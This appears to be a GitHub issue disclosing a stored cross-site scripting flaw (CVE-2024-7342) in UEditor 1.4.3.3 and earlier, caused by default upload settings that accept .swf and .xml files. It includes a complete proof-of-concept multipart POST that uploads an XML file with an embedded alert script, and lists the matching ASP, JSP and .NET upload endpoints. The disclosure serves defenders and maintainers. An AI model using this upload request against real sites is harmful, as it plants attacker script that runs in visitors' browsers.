Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Stored Cross-Site Scripting (XSS) Vulnerability in UEditor 1.4.3.3 #62

Open
Hebing123 opened this issue Jul 25, 2024 · 1 comment
Open

Stored Cross-Site Scripting (XSS) Vulnerability in UEditor 1.4.3.3 #62

Hebing123 opened this issue Jul 25, 2024 · 1 comment

Comments

@Hebing123
Copy link
Owner

Hebing123 commented Jul 25, 2024 •
edited
Loading

Summary

A stored cross-site scripting (XSS) vulnerability has been identified in UEditor version 1.4.3.3.
The vulnerability stems from the default configuration of config.json files within the ≤1.4.3.3 versions of UEditor, which permits the uploading of .swf files. Furthermore, for versions ≥1.4.2 and ≤1.4.3.3, UEditor's config files also allow the uploading of .xml files by default. Since both .swf and .xml files can execute scripts, this presents an opportunity for stored XSS attacks.
Many derivative editors and web applications that have integrated UEditor as a component have not modified the fileAllowFiles in the config file, rendering them vulnerable to this issue.
https://github.com/search?q=%22.pdf%22%2C+%22.txt%22%2C+%22.md%22%2C+%22.xml%22&type=code&p=1
image

Details

The vulnerability is present in the config.json file of UEditor ≤1.4.3.3, where the configuration allows the upload of .swf files by default. In addition, for versions ≥1.4.2 and ≤1.4.3.3, .xml files are also permitted for upload due to the default settings.
For example:
v1.3.6:/ueditor/php/upfile.php
image
v1.4.3.3:/ueditor/php/config.json
image

Proof of Concept (POC)

POST Request to Upload XML File

POST /ueditor/php/controller.php?action=uploadfile&encode=utf-8 HTTP/1.1
Host: 127.0.0.1
Content-Length: 898
X_Requested_With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynOYAFmBXFWQqiHW3
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="name"

xmlpayload.xml
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="type"

text/xml
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="lastModifiedDate"

Thu Jul 25 2024 15:28:00 GMT+0800 (China Standard Time)
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="size"

157
------WebKitFormBoundarynOYAFmBXFWQqiHW3
Content-Disposition: form-data; name="upfile"; filename="xmlpayload.xml"
Content-Type: text/xml

<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(document.host);
</something:script>
</body>
</html>
------WebKitFormBoundarynOYAFmBXFWQqiHW3--

Similar POST requests can be directed to other versions' upload interfaces like /asp/controller.asp?action=uploadfile&encode=utf-8, /jsp/controller.jsp?action=uploadfile&encode=utf-8, and /net/controller.ashx?action=uploadfile&encode=utf-8.

Impact

The vulnerability affects all web applications that have integrated UEditor version 1.4.3.3 or below and have not modified the config.json or upfile program to restrict the file types that can be uploaded.
@Hebing123
Copy link
Owner Author

CVE-2024-7342

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@Hebing123